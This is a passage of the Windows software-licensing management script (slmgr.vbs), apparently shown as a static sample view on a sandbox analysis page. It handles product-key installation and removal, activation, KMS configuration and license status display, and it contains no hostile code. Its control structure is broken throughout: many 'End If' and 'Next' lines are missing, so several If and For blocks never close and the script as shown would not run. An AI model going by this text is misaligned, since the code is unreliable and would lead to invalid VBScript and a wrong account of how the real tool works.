Static | ZeroBOX

Private Sub ExecCommandLine

Dim intOption, indexOption

Dim strOption, chOpt

Dim remoteInfo(3)

' First three parameters before "/" or "-" may be remote connection info

remoteInfo(0) = "."

intOption = intUnknownOption

For indexOption = 0 To 3

If indexOption >= WScript.Arguments.Count Then

Exit For

End If

strOption = WScript.Arguments.Item(indexOption)

chOpt = Left(strOption, 1)

If chOpt = "/" Or chOpt = "-" Then

intOption = intKnownOption

Exit For

End If

remoteInfo(indexOption) = strOption

' Connect to remote only if syntax is reasonably good

If intUnknownOption = intOption Or 2 = indexOption Then

g_strComputer = "."

intOption = intUnknownOption

Else

g_strComputer = remoteInfo(0)

g_strUserName = remoteInfo(1)

g_strPassword = remoteInfo(2)

End If

Call Connect()

If intUnknownOption = intOption Then

LineOut GetResource("L_MsgInvalidOptions")

LineOut ""

Call DisplayUsage()

End If

intOption = ParseCommandLine(indexOption)

If intUnknownOption = intOption Then

LineOut GetResource("L_MsgUnrecognizedOption") & WScript.Arguments.Item(indexOption)

LineOut ""

Call DisplayUsage()

End If

End Sub

Private Function ParseCommandLine(index)

Dim strOption, chOpt

ParseCommandLine = intKnownOption

strOption = LCase(WScript.Arguments.Item(index))

chOpt = Left(strOption, 1)

If (chOpt <> "-") And (chOpt <> "/") Then

ParseCommandLine = intUnknownOption

Exit Function

End If

strOption = Right(strOption, Len(strOption) - 1)

If strOption = GetResource("L_optInstallLicense") Then

If HandleOptionParam(index+1, True, GetResource("L_optInstallLicense"), GetResource("L_ParamsLicenseFile")) Then

InstallLicense WScript.Arguments.Item(index+1)

End If

ElseIf strOption = GetResource("L_optInstallProductKey") Then

If HandleOptionParam(index+1, True, GetResource("L_optInstallProductKey"), GetResource("L_ParamsProductKey")) Then

InstallProductKey WScript.Arguments.Item(index+1)

End If

ElseIf strOption = GetResource("L_optUninstallProductKey") Then

If HandleOptionParam(index+1, False, GetResource("L_optUninstallProductKey"), GetResource("L_ParamsActivationIDOptional")) Then

UninstallProductKey WScript.Arguments.Item(index+1)

Else

UninstallProductKey ""

End If

ElseIf strOption = GetResource("L_optDisplayIID") Then

If HandleOptionParam(index+1, False, GetResource("L_optDisplayIID"), GetResource("L_ParamsActivationIDOptional")) Then

DisplayIID WScript.Arguments.Item(index+1)

Else

DisplayIID ""

End If

ElseIf strOption = GetResource("L_optActivateProduct") Then

If HandleOptionParam(index+1, False, GetResource("L_optActivateProduct"), GetResource("L_ParamsActivationIDOptional")) Then

ActivateProduct WScript.Arguments.Item(index+1)

Else

ActivateProduct ""

End If

ElseIf strOption = GetResource("L_optPhoneActivateProduct") Then

If HandleOptionParam(index+1, True, GetResource("L_optPhoneActivateProduct"), GetResource("L_ParamsPhoneActivate")) Then

If HandleOptionParam(index+2, False, GetResource("L_optPhoneActivateProduct"), GetResource("L_ParamsActivationIDOptional")) Then

PhoneActivateProduct WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)

Else

PhoneActivateProduct WScript.Arguments.Item(index+1), ""

End If

ElseIf strOption = GetResource("L_optDisplayInformation") Then

If HandleOptionParam(index+1, False, GetResource("L_optDisplayInformation"), "") Then

DisplayAllInformation WScript.Arguments.Item(index+1), False

Else

DisplayAllInformation "", False

End If

ElseIf strOption = GetResource("L_optDisplayInformationVerbose") Then

If HandleOptionParam(index+1, False, GetResource("L_optDisplayInformationVerbose"), "") Then

DisplayAllInformation WScript.Arguments.Item(index+1), True

Else

DisplayAllInformation "", True

End If

ElseIf strOption = GetResource("L_optClearPKeyFromRegistry") Then

ClearPKeyFromRegistry

ElseIf strOption = GetResource("L_optReinstallLicenses") Then

ReinstallLicenses

ElseIf strOption = GetResource("L_optReArmWindows") Then

ReArmWindows()

ElseIf strOption = GetResource("L_optReArmApplication") Then

If HandleOptionParam(index+1, True, GetResource("L_optReArmApplication"), GetResource("L_ParamsApplicationID")) Then

ReArmApp WScript.Arguments.Item(index+1)

End If

ElseIf strOption = GetResource("L_optReArmSku") Then

If HandleOptionParam(index+1, True, GetResource("L_optReArmSku"), GetResource("L_ParamsActivationID")) Then

ReArmSku WScript.Arguments.Item(index+1)

End If

ElseIf strOption = GetResource("L_optExpirationDatime") Then

If HandleOptionParam(index+1, False, GetResource("L_optExpirationDatime"), GetResource("L_ParamsActivationIDOptional")) Then

ExpirationDatime WScript.Arguments.Item(index+1)

Else

ExpirationDatime ""

End If

ElseIf strOption = GetResource("L_optSetKmsName") Then

If HandleOptionParam(index+1, True, GetResource("L_optSetKmsName"), GetResource("L_ParamsSetKms")) Then

If HandleOptionParam(index+2, False, GetResource("L_optSetKmsName"), GetResource("L_ParamsActivationIDOptional")) Then

SetKmsMachineName WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)

Else

SetKmsMachineName WScript.Arguments.Item(index+1), ""

End If

ElseIf strOption = GetResource("L_optClearKmsName") Then

If HandleOptionParam(index+1, False, GetResource("L_optClearKmsName"), GetResource("L_ParamsActivationIDOptional")) Then

ClearKms WScript.Arguments.Item(index+1)

Else

ClearKms ""

End If

ElseIf strOption = GetResource("L_optSetKmsLookupDomain") Then

If HandleOptionParam(index+1, True, GetResource("L_optSetKmsLookupDomain"), GetResource("L_ParamsSetKmsLookupDomain")) Then

If HandleOptionParam(index+2, False, GetResource("L_optSetKmsLookupDomain"), GetResource("L_ParamsActivationIDOptional")) Then

SetKmsLookupDomain WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)

Else

SetKmsLookupDomain WScript.Arguments.Item(index+1), ""

End If

ElseIf strOption = GetResource("L_optClearKmsLookupDomain") Then

If HandleOptionParam(index+1, False, GetResource("L_optClearKmsLookupDomain"), GetResource("L_ParamsActivationIDOptional")) Then

ClearKmsLookupDomain WScript.Arguments.Item(index+1)

Else

ClearKmsLookupDomain ""

End If

ElseIf strOption = GetResource("L_optSetKmsHostCaching") Then

SetHostCachingDisable(False)

ElseIf strOption = GetResource("L_optClearKmsHostCaching") Then

SetHostCachingDisable(True)

ElseIf strOption = GetResource("L_optSetActivationInterval") Then

If HandleOptionParam(index+1, True, GetResource("L_optSetActivationInterval"), GetResource("L_ParamsSetActivationInterval")) Then

SetActivationInterval WScript.Arguments.Item(index+1)

End If

ElseIf strOption = GetResource("L_optSetRenewalInterval") Then

If HandleOptionParam(index+1, True, GetResource("L_optSetRenewalInterval"), GetResource("L_ParamsSetRenewalInterval")) Then

SetRenewalInterval WScript.Arguments.Item(index+1)

End If

ElseIf strOption = GetResource("L_optSetKmsListenPort") Then

If HandleOptionParam(index+1, True, GetResource("L_optSetKmsListenPort"), GetResource("L_ParamsSetListenKmsPort")) Then

SetKmsListenPort WScript.Arguments.Item(index+1)

End If

ElseIf strOption = GetResource("L_optSetDNS") Then

SetDnsPublishingDisabled(False)

ElseIf strOption = GetResource("L_optClearDNS") Then

SetDnsPublishingDisabled(True)

ElseIf strOption = GetResource("L_optSetNormalPriority") Then

SetKmsLowPriority(False)

ElseIf strOption = GetResource("L_optClearNormalPriority") Then

SetKmsLowPriority(True)

ElseIf strOption = GetResource("L_optSetVLActivationType") Then

If HandleOptionParam(index+1, False, GetResource("L_optSetVLActivationType"), GetResource("L_ParamsVLActivationTypeOptional")) Then

If HandleOptionParam(index+2, False, GetResource("L_optSetVLActivationType"), GetResource("L_ParamsActivationIDOptional")) Then

SetVLActivationType WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)

Else

SetVLActivationType WScript.Arguments.Item(index+1), ""

End If

Else

SetVLActivationType Null, ""

End If

ElseIf strOption = GetResource("L_optListInstalledILs") Then

TkaListILs

ElseIf strOption = GetResource("L_optRemoveInstalledIL") Then

If HandleOptionParam(index+2, True, GetResource("L_optRemoveInstalledIL"), GetResource("L_ParamsRemoveInstalledIL")) Then

TkaRemoveIL WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)

End If

ElseIf strOption = GetResource("L_optListTkaCerts") Then

TkaListCerts

ElseIf strOption = GetResource("L_optForceTkaActivation") Then

If HandleOptionParam(index+2, False, GetResource("L_optForceTkaActivation"), GetResource("L_ParamsForceTkaActivation")) Then

TkaActivate WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)

ElseIf HandleOptionParam(index+1, True, GetResource("L_optForceTkaActivation"), GetResource("L_ParamsForceTkaActivation")) Then

TkaActivate WScript.Arguments.Item(index+1), ""

End If

ElseIf strOption = GetResource("L_optADGetIID") Then

If HandleOptionParam(index+1, True, GetResource("L_optADGetIID"), GetResource("L_ParamsProductKey")) Then

ADGetIID WScript.Arguments.Item(index+1)

End If

ElseIf strOption = GetResource("L_optADActivate") Then

If HandleOptionParam(index+1, True, GetResource("L_optADActivate"), GetResource("L_ParamsProductKey")) Then

If HandleOptionParam(index+2, False, GetResource("L_optADActivate"), GetResource("L_ParamsAONameOptional")) Then

ADActivateOnline WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)

Else

ADActivateOnline WScript.Arguments.Item(index+1), ""

End If

ElseIf strOption = GetResource("L_optADApplyCID") Then

If HandleOptionParam(index+1, True, GetResource("L_optADApplyCID"), GetResource("L_ParamsProductKey")) Then

If HandleOptionParam(index+2, True, GetResource("L_optADApplyCID"), GetResource("L_ParamsPhoneActivate")) Then

If HandleOptionParam(index+3, False, GetResource("L_optADApplyCID"), GetResource("L_ParamsAONameOptional")) Then

ADActivatePhone WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2), WScript.Arguments.Item(index+3)

Else

ADActivatePhone WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2), ""

End If

ElseIf strOption = GetResource("L_optADListAOs") Then

ADListActivationObjects

ElseIf strOption = GetResource("L_optADDeleteAO") Then

If HandleOptionParam(index+1, True, GetResource("L_optADDeleteAO"), GetResource("L_ParamsAODistinguishedName")) Then

ADDeleteActivationObjects WScript.Arguments.Item(index+1)

End If

Else

ParseCommandLine = intUnknownOption

End If

End Function

' global options

Private Function CheckProductForCommand(objProduct, strActivationID)

Dim bCheckProductForCommand

bCheckProductForCommand = False

If (strActivationID = "" And LCase(objProduct.ApplicationId) = WindowsAppId And (objProduct.LicenseIsAddon = False)) Then

bCheckProductForCommand = True

End If

If (LCase(objProduct.ID) = strActivationID) Then

bCheckProductForCommand = True

End If

CheckProductForCommand = bCheckProductForCommand

End Function

Private Sub UninstallProductKey(strActivationID)

Dim objService, objProduct

Dim lRet, strVersion, strDescription

Dim kmsServerFound, uninstallDone

Dim iIsPrimaryWindowsSku, bPrimaryWindowsSkuKeyUninstalled

Dim bCheckProductForCommand

On Error Resume Next

strActivationID = LCase(strActivationID)

kmsServerFound = False

uninstallDone = False

set objService = GetServiceObject("Version")

strVersion = objService.Version

For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", ProductKeyID", PartialProductKeyNonNullWhereClause)

strDescription = objProduct.Description

bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)

If (bCheckProductForCommand) Then

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)

If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then

OutputIndeterminateOperationWarning(objProduct)

End If

objProduct.UninstallProductKey()

QuitIfError()

' Uninstalling a product key could change Windows licensing state.

' Since the service determines if it can shut down and when is the next start time

' based on the licensing state we should reconsume the licenses here.

objService.RefreshLicenseStatus()

' For Windows (i.e. if no activationID specified), always

' ensure that product-key for primary SKU is uninstalled

If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then

uninstallDone = True

End If

LineOut GetResource("L_MsgUninstalledPKey")

' Check whether a ActID belongs to KMS server.

' Do this for all ActID other than one whose pkey is being uninstalled

ElseIf IsKmsServer(strDescription) Then

kmsServerFound = True

End If

If (kmsServerFound = True) And (uninstallDone = True) Then

Exit For

End If

If kmsServerFound = True Then

' Set the KMS version in the registry (both 64 and 32 bit locations)

lRet = SetRegistryStr(HKEY_LOCAL_MACHINE, SLKeyPath, "KeyManagementServiceVersion", strVersion)

If (lRet <> 0) Then

QuitWithError lRet

End If

lRet = SetRegistryStr(HKEY_LOCAL_MACHINE, SLKeyPath32, "KeyManagementServiceVersion", strVersion)

If (lRet <> 0) Then

QuitWithError lRet

End If

Else

' Clear the KMS version from the registry (both 64 and 32 bit locations)

lRet = DeleteRegistryValue(HKEY_LOCAL_MACHINE, SLKeyPath, "KeyManagementServiceVersion")

If (lRet <> 0 And lRet <> 2) Then

QuitWithError lRet

End If

lRet = DeleteRegistryValue(HKEY_LOCAL_MACHINE, SLKeyPath32, "KeyManagementServiceVersion")

If (lRet <> 0 And lRet <> 2) Then

QuitWithError lRet

End If

If uninstallDone = False Then

LineOut GetResource("L_MsgErrorPKey")

End If

End Sub

Private Sub DisplayIID(strActivationID)

Dim objProduct

Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey

Dim bCheckProductForCommand

strActivationID = LCase(strActivationID)

bFoundAtLeastOneKey = False

For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", OfflineInstallationId", PartialProductKeyNonNullWhereClause)

bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)

If (bCheckProductForCommand) Then

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)

If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then

OutputIndeterminateOperationWarning(objProduct)

End If

LineOut GetResource("L_MsgInstallationID") & objProduct.OfflineInstallationId

bFoundAtLeastOneKey = True

If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then

Exit Sub

End If

If (bFoundAtLeastOneKey = TRUE) Then

LineOut ""

LineOut GetResource("L_MsgPhoneNumbers")

Else

LineOut GetResource("L_MsgErrorProductNotFound")

End If

End Sub

Private Sub DisplayActivatingSku(objProduct)

Dim strOutput

strOutput = Replace(GetResource("L_MsgActivating"), "%PRODUCTNAME%", objProduct.Name)

strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)

LineFlush strOutput

End Sub

Private Sub DisplayActivatedStatus(objProduct)

If (objProduct.LicenseStatus = 1) Then

LineOut GetResource("L_MsgActivated")

ElseIf (objProduct.LicenseStatus = 4) Then

LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_11")

ElseIf ((objProduct.LicenseStatus = 5) And (objProduct.LicenseStatusReason = HR_SL_E_NOT_GENUINE)) Then

LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_12")

ElseIf (objProduct.LicenseStatus = 6) Then

LineOut GetResource("L_MsgActivated")

LineOut GetResource("L_MsgLicenseStatusExtendedGrace_1")

Else

LineOut GetResource("L_MsgActivated_Failed")

End If

End Sub

Private Sub ActivateProduct(strActivationID)

Dim objService, objProduct

Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey

Dim strOutput

Dim bCheckProductForCommand

strActivationID = LCase(strActivationID)

bFoundAtLeastOneKey = False

set objService = GetServiceObject("Version")

For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", LicenseStatus, VLActivationTypeEnabled", PartialProductKeyNonNullWhereClause)

bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)

If (bCheckProductForCommand) Then

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)

If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then

OutputIndeterminateOperationWarning(objProduct)

End If

' This routine does not perform token-based activation.

' If configured for TA, then show message to user.

If (objProduct.VLActivationTypeEnabled = 3) Then

LineOut GetResource("L_MsgTokenBasedActivationMustBeDone")

Exit Sub

End If

strOutput = Replace(GetResource("L_MsgActivating"), "%PRODUCTNAME%", objProduct.Name)

strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)

LineOut strOutput

On Error Resume Next

' Avoid using a MAK activation count up unless needed

If (Not(IsMAK(objProduct.Description)) Or (objProduct.LicenseStatus <> 1)) Then

objProduct.Activate()

QuitIfError()

objService.RefreshLicenseStatus()

objProduct.refresh_

End If

DisplayActivatedStatus objProduct

bFoundAtLeastOneKey = True

If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then

Exit Sub

End If

If (bFoundAtLeastOneKey = True) Then

Exit Sub

End If

LineOut GetResource("L_MsgErrorProductNotFound")

End Sub

Private Sub PhoneActivateProduct(strCID, strActivationID)

Dim objService, objProduct

Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey

Dim strOutput

Dim bCheckProductForCommand

strActivationID = LCase(strActivationID)

bFoundAtLeastOneKey = False

set objService = GetServiceObject("Version")

For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", OfflineInstallationId, LicenseStatus, LicenseStatusReason", PartialProductKeyNonNullWhereClause)

bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)

If (bCheckProductForCommand) Then

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)

If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then

OutputIndeterminateOperationWarning(objProduct)

End If

On Error Resume Next

objProduct.DepositOfflineConfirmationId objProduct.OfflineInstallationId, strCID

QuitIfError()

objService.RefreshLicenseStatus()

objProduct.refresh_

If (objProduct.LicenseStatus = 1) Then

strOutput = Replace(GetResource("L_MsgConfID"), "%ACTID%", objProduct.ID)

LineOut strOutput

ElseIf (objProduct.LicenseStatus = 4) Then

LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_11")

ElseIf ((objProduct.LicenseStatus = 5) And (objProduct.LicenseStatusReason = HR_SL_E_NOT_GENUINE)) Then

LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_12")

ElseIf (objProduct.LicenseStatus = 6) Then

LineOut GetResource("L_MsgActivated")

LineOut GetResource("L_MsgLicenseStatusExtendedGrace_1")

Else

LineOut GetResource("L_MsgActivated_Failed")

End If

bFoundAtLeastOneKey = True

If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then

Exit Sub

End If

If (bFoundAtLeastOneKey = True) Then

Exit Sub

End If

LineOut GetResource("L_MsgErrorProductNotFound")

End Sub

Private Sub DisplayKMSInformation(objService, objProduct)

Dim dwValue

Dim boolValue

Dim KeyManagementServiceTotalRequests

Dim objProductKMSValues

set objProductKMSValues = GetProductObject( _

"IsKeyManagementServiceMachine, KeyManagementServiceCurrentCount, " & _

"KeyManagementServiceTotalRequests, KeyManagementServiceFailedRequests, " & _

"KeyManagementServiceUnlicensedRequests, KeyManagementServiceLicensedRequests, " & _

"KeyManagementServiceOOBGraceRequests, KeyManagementServiceOOTGraceRequests, " & _

"KeyManagementServiceNonGenuineGraceRequests, KeyManagementServiceNotificationRequests", _

"id = '" & objProduct.ID & "'")

If objProductKMSValues.IsKeyManagementServiceMachine > 0 Then

LineOut ""

LineOut GetResource("L_MsgKmsEnabled")

LineOut " " & GetResource("L_MsgKmsCurrentCount") & objProductKMSValues.KeyManagementServiceCurrentCount

dwValue = objService.KeyManagementServiceListeningPort

If 0 = dwValue Then

LineOut " " & GetResource("L_MsgKmsListeningOnPort") & DefaultPort

Else

LineOut " " & GetResource("L_MsgKmsListeningOnPort") & dwValue

End If

boolValue = objService.KeyManagementServiceDnsPublishing

If true = boolValue Then

LineOut " " & GetResource("L_MsgKmsDnsPublishingEnabled")

Else

LineOut " " & GetResource("L_MsgKmsDnsPublishingDisabled")

End If

boolValue = objService.KeyManagementServiceLowPriority

If false = boolValue Then

LineOut " " & GetResource("L_MsgKmsPriNormal")

Else

LineOut " " & GetResource("L_MsgKmsPriLow")

End If

On Error Resume Next

KeyManagementServiceTotalRequests = objProductKMSValues.KeyManagementServiceTotalRequests

If (Not(IsNull(KeyManagementServiceTotalRequests))) And (Not(IsEmpty(KeyManagementServiceTotalRequests))) Then

LineOut ""

LineOut GetResource("L_MsgKmsCumulativeRequestsFromClients")

LineOut " " & GetResource("L_MsgKmsTotalRequestsRecieved") & objProductKMSValues.KeyManagementServiceTotalRequests

LineOut " " & GetResource("L_MsgKmsFailedRequestsReceived") & objProductKMSValues.KeyManagementServiceFailedRequests

LineOut " " & GetResource("L_MsgKmsRequestsWithStatusUnlicensed") & objProductKMSValues.KeyManagementServiceUnlicensedRequests

LineOut " " & GetResource("L_MsgKmsRequestsWithStatusLicensed") & objProductKMSValues.KeyManagementServiceLicensedRequests

LineOut " " & GetResource("L_MsgKmsRequestsWithStatusInitialGrace") & objProductKMSValues.KeyManagementServiceOOBGraceRequests

LineOut " " & GetResource("L_MsgKmsRequestsWithStatusLicenseExpiredOrHwidOot") & objProductKMSValues.KeyManagementServiceOOTGraceRequests

LineOut " " & GetResource("L_MsgKmsRequestsWithStatusNonGenuineGrace") & objProductKMSValues.KeyManagementServiceNonGenuineGraceRequests

LineOut " " & GetResource("L_MsgKmsRequestsWithStatusNotification") & objProductKMSValues.KeyManagementServiceNotificationRequests

End If

End Sub

Private Sub DisplayADClientInformation(objService, objProduct)

LineOut ""

LineOut GetResource("L_MsgVLMostRecentActivationInfo")

LineOut GetResource("L_MsgADInfo")

LineOut " " & GetResource("L_MsgADInfoAOName") & objProduct.ADActivationObjectName

LineOut " " & GetResource("L_MsgADInfoAODN") & objProduct.ADActivationObjectDN

LineOut " " & GetResource("L_MsgADInfoExtendedPid") & objProduct.ADActivationCsvlkPid

LineOut " " & GetResource("L_MsgADInfoActID") & objProduct.ADActivationCsvlkSkuId

End Sub

Private Sub DisplayTkaClientInformation(objService, objProduct)

LineOut ""

LineOut GetResource("L_MsgVLMostRecentActivationInfo")

LineOut GetResource("L_MsgTkaInfo")

LineOut " " & Replace(GetResource("L_MsgTkaInfoILID" ), "%ILID%" , objProduct.TokenActivationILID)

LineOut " " & Replace(GetResource("L_MsgTkaInfoILVID" ), "%ILVID%" , objProduct.TokenActivationILVID)

LineOut " " & Replace(GetResource("L_MsgTkaInfoGrantNo" ), "%GRANTNO%" , objProduct.TokenActivationGrantNumber)

LineOut " " & Replace(GetResource("L_MsgTkaInfoThumbprint"), "%THUMBPRINT%", objProduct.TokenActivationCertificateThumbprint)

End Sub

Private Sub DisplayKMSClientInformation(objService, objProduct)

Dim strKms, strIpAddress, strPort, strOutput

Dim iVLRenewalInterval, iVLActivationInterval

Dim bFixedKms, bKmsLookupDomain, strKmsLookupDomain

iVLRenewalInterval = objProduct.VLRenewalInterval

iVLActivationInterval = objProduct.VLActivationInterval

LineOut ""

LineOut GetResource("L_MsgVLMostRecentActivationInfo")

LineOut GetResource("L_MsgKmsInfo")

LineOut " " & GetResource("L_MsgCmid") & objService.ClientMachineID

strKmsLookupDomain = objProduct.KeyManagementServiceLookupDomain

If strKmsLookupDomain <> "" and Not IsNull(strKmsLookupDomain) Then

bKmsLookupDomain = True

LineOut " " & GetResource("L_MsgKmsLookupDomain") & strKmsLookupDomain

End If

strKms = objProduct.KeyManagementServiceMachine

if strKms <> "" And Not IsNull(strKms) Then

bFixedKms = True

strPort = objProduct.KeyManagementServicePort

If (strPort = 0) Then

strPort = DefaultPort

End If

LineOut " " & GetResource("L_MsgRegisteredKmsName") & strKms & ":" & strPort

Else

strKms = objProduct.DiscoveredKeyManagementServiceMachineName

strPort = objProduct.DiscoveredKeyManagementServiceMachinePort

If IsNull(strKms) Or (strKms = "") Or IsNull(strPort) Or (strPort = 0) Then

LineOut " " & GetResource("L_MsgKmsFromDnsUnavailable")

Else

LineOut " " & GetResource("L_MsgKmsFromDns") & strKms & ":" & strPort

End If

strIpAddress = objProduct.DiscoveredKeyManagementServiceMachineIpAddress

If IsNull(strIpAddress) Or (strIpAddress = "") Then

LineOut " " & GetResource("L_MsgKmsIpAddressUnavailable")

Else

LineOut " " & GetResource("L_MsgKmsIpAddress") & strIpAddress

End If

LineOut " " & GetResource("L_MsgKmsPID4") & objProduct.KeyManagementServiceProductKeyID

strOutput = Replace(GetResource("L_MsgActivationInterval"), "%INTERVAL%", iVLActivationInterval)

LineOut " " & strOutput

strOutput = Replace(GetResource("L_MsgRenewalInterval"), "%INTERVAL%", iVLRenewalInterval)

LineOut " " & strOutput

if (objService.KeyManagementServiceHostCaching = True) Then

LineOut " " & GetResource("L_MsgKmsHostCachingEnabled")

Else

LineOut " " & GetResource("L_MsgKmsHostCachingDisabled")

End If

If bKmsLookupDomain And bFixedKms Then

LineOut ""

LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), "%KMS%", strKms & ":" & strPort)

End If

End Sub

Private Sub DisplayAVMAClientInformation(objProduct)

Dim strHostName, strPid

Dim displayDate

Dim bHostName, bFiletime, bPid

strHostName = objProduct.AutomaticVMActivationHostMachineName

bHostName = strHostName <> "" And Not IsNull(strHostName)

Set displayDate = CreateObject("WBemScripting.SWbemDateTime")

displayDate.Value = objProduct.AutomaticVMActivationLastActivationTime

bFiletime = displayDate.GetFileTime(false) <> 0

strPid = objProduct.AutomaticVMActivationHostDigitalPid2

bPid = strPid <> "" And Not IsNull(strPid)

If bHostName Or bFiletime Or bPid Then

LineOut ""

LineOut GetResource("L_MsgVLMostRecentActivationInfo")

LineOut GetResource("L_MsgAVMAInfo")

If bHostName Then

LineOut " " & GetResource("L_MsgAVMAHostMachineName") & strHostName

Else

LineOut " " & GetResource("L_MsgAVMAHostMachineName") & GetResource("L_MsgNotAvailable")

End If

If bFiletime Then

LineOut " " & GetResource("L_MsgAVMALastActTime") & displayDate.GetVarDate

Else

LineOut " " & GetResource("L_MsgAVMALastActTime") & GetResource("L_MsgNotAvailable")

End If

If bPid Then

LineOut " " & GetResource("L_MsgAVMAHostPid2") & strPid

Else

LineOut " " & GetResource("L_MsgAVMAHostPid2") & GetResource("L_MsgNotAvailable")

End If

End Sub

' Display all information for /dlv and /dli

' If you add need to access new properties through WMI you must add them to the

' queries for service/object. Be sure to check that the object properties in DisplayAllInformation()

' are requested for function/methods such as GetIsPrimaryWindowsSKU() and DisplayKMSClientInformation().

Private Sub DisplayAllInformation(strParm, bVerbose)

Dim objService, objProduct

Dim strServiceSelectClause

Dim objProductIter, strIterSelectClause, strProductSelectClause

Dim strDescription, bKmsClient, strSLActID, bKmsServer, bTBL

Dim strAVMAId, bAVMA

Dim ls, gpMin, gpDay, displayDate

Dim strOutput

Dim strUrl

Dim bShowSkuInformation

Dim iIsPrimaryWindowsSku, bUseDefault

Dim productKeyFound

Dim strErr

strParm = LCase(strParm)

productKeyFound = False

strServiceSelectClause = _

"KeyManagementServiceListeningPort, KeyManagementServiceDnsPublishing, " & _

"KeyManagementServiceLowPriority, ClientMachineId, KeyManagementServiceHostCaching, " & _

"Version"

strProductSelectClause = _

ProductIsPrimarySkuSelectClause & ", " & _

"ProductKeyID, ProductKeyChannel, OfflineInstallationId, " & _

"ProcessorURL, MachineURL, UseLicenseURL, ProductKeyURL, ValidationURL, " & _

"GracePeriodRemaining, LicenseStatus, LicenseStatusReason, EvaluationEndDate, " & _

"VLRenewalInterval, VLActivationInterval, KeyManagementServiceLookupDomain, KeyManagementServiceMachine, " & _

"KeyManagementServicePort, DiscoveredKeyManagementServiceMachineName, " & _

"DiscoveredKeyManagementServiceMachinePort, DiscoveredKeyManagementServiceMachineIpAddress, KeyManagementServiceProductKeyID," & _

"TokenActivationILID, TokenActivationILVID, TokenActivationGrantNumber," & _

"TokenActivationCertificateThumbprint, TokenActivationAdditionalInfo, TrustedTime," & _

"ADActivationObjectName, ADActivationObjectDN, ADActivationCsvlkPid, ADActivationCsvlkSkuId, VLActivationTypeEnabled, VLActivationType," & _

"IAID, AutomaticVMActivationHostMachineName, AutomaticVMActivationLastActivationTime, AutomaticVMActivationHostDigitalPid2"

If bVerbose Then

strServiceSelectClause = "RemainingWindowsReArmCount, " & strServiceSelectClause

strProductSelectClause = "RemainingAppReArmCount, RemainingSkuReArmCount, " & strProductSelectClause

End If

set objService = GetServiceObject(strServiceSelectClause)

If bVerbose Then

LineOut GetResource("L_MsgServiceVersion") & objService.Version

End If

If (strParm = "all") Then

strIterSelectClause = strProductSelectClause

Else

strIterSelectClause = ProductIsPrimarySkuSelectClause

End If

For Each objProductIter in GetProductCollection(strIterSelectClause, EmptyWhereClause)

strSLActID = objProductIter.ID

' Display information if:

' parm = "all" or

' ActID = parm or

' default to current ActID (parm = "" and IsPrimaryWindowsSKU is 1 or 2)

iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProductIter)

bUseDefault = False

bShowSkuInformation = False

If (strParm = "" And ((iIsPrimaryWindowsSku = 1) Or (iIsPrimaryWindowsSku = 2))) Then

bUseDefault = True

bShowSkuInformation = True

End If

If (strParm = "" And (objProductIter.LicenseIsAddon And objProductIter.PartialProductKey <> "")) Then

bShowSkuInformation = True

End If

If (strParm = "all") Then

bShowSkuInformation = True

End If

If (strParm = LCase(strSLActID)) Then

bShowSkuInformation = True

End If

If (bShowSkuInformation) Then

If (strParm = "all") Then

set objProduct = objProductIter

Else

set objProduct = GetProductObject(strProductSelectClause, "id = '" & objProductIter.ID & "'")

End If

strDescription = objProduct.Description

'If the user didn't specify anything and we are showing the default case, warn them

' if this can't be verified as the primary SKU

If ((bUseDefault = True) And (iIsPrimaryWindowsSku = 2)) Then

OutputIndeterminateOperationWarning(objProduct)

End IF

productKeyFound = True

LineOut ""

LineOut GetResource("L_MsgProductName") & objProduct.Name

LineOut GetResource("L_MsgProductDesc") & strDescription

If objProduct.TokenActivationAdditionalInfo <> "" Then

LineOut Replace( _

GetResource("L_MsgTkaInfoAdditionalInfo"), _

"%MOREINFO%", _

objProduct.TokenActivationAdditionalInfo _

)

End If

bKmsServer = IsKmsServer(strDescription)

bKmsClient = IsKmsClient(strDescription)

bTBL = IsTBL(strDescription)

bAVMA = IsAVMA(strDescription)

If bVerbose Then

LineOut GetResource("L_MsgActID") & strSLActID

LineOut GetResource("L_MsgAppID") & objProduct.ApplicationID

LineOut GetResource("L_MsgPID4") & objProduct.ProductKeyID

LineOut GetResource("L_MsgChannel") & objProduct.ProductKeyChannel

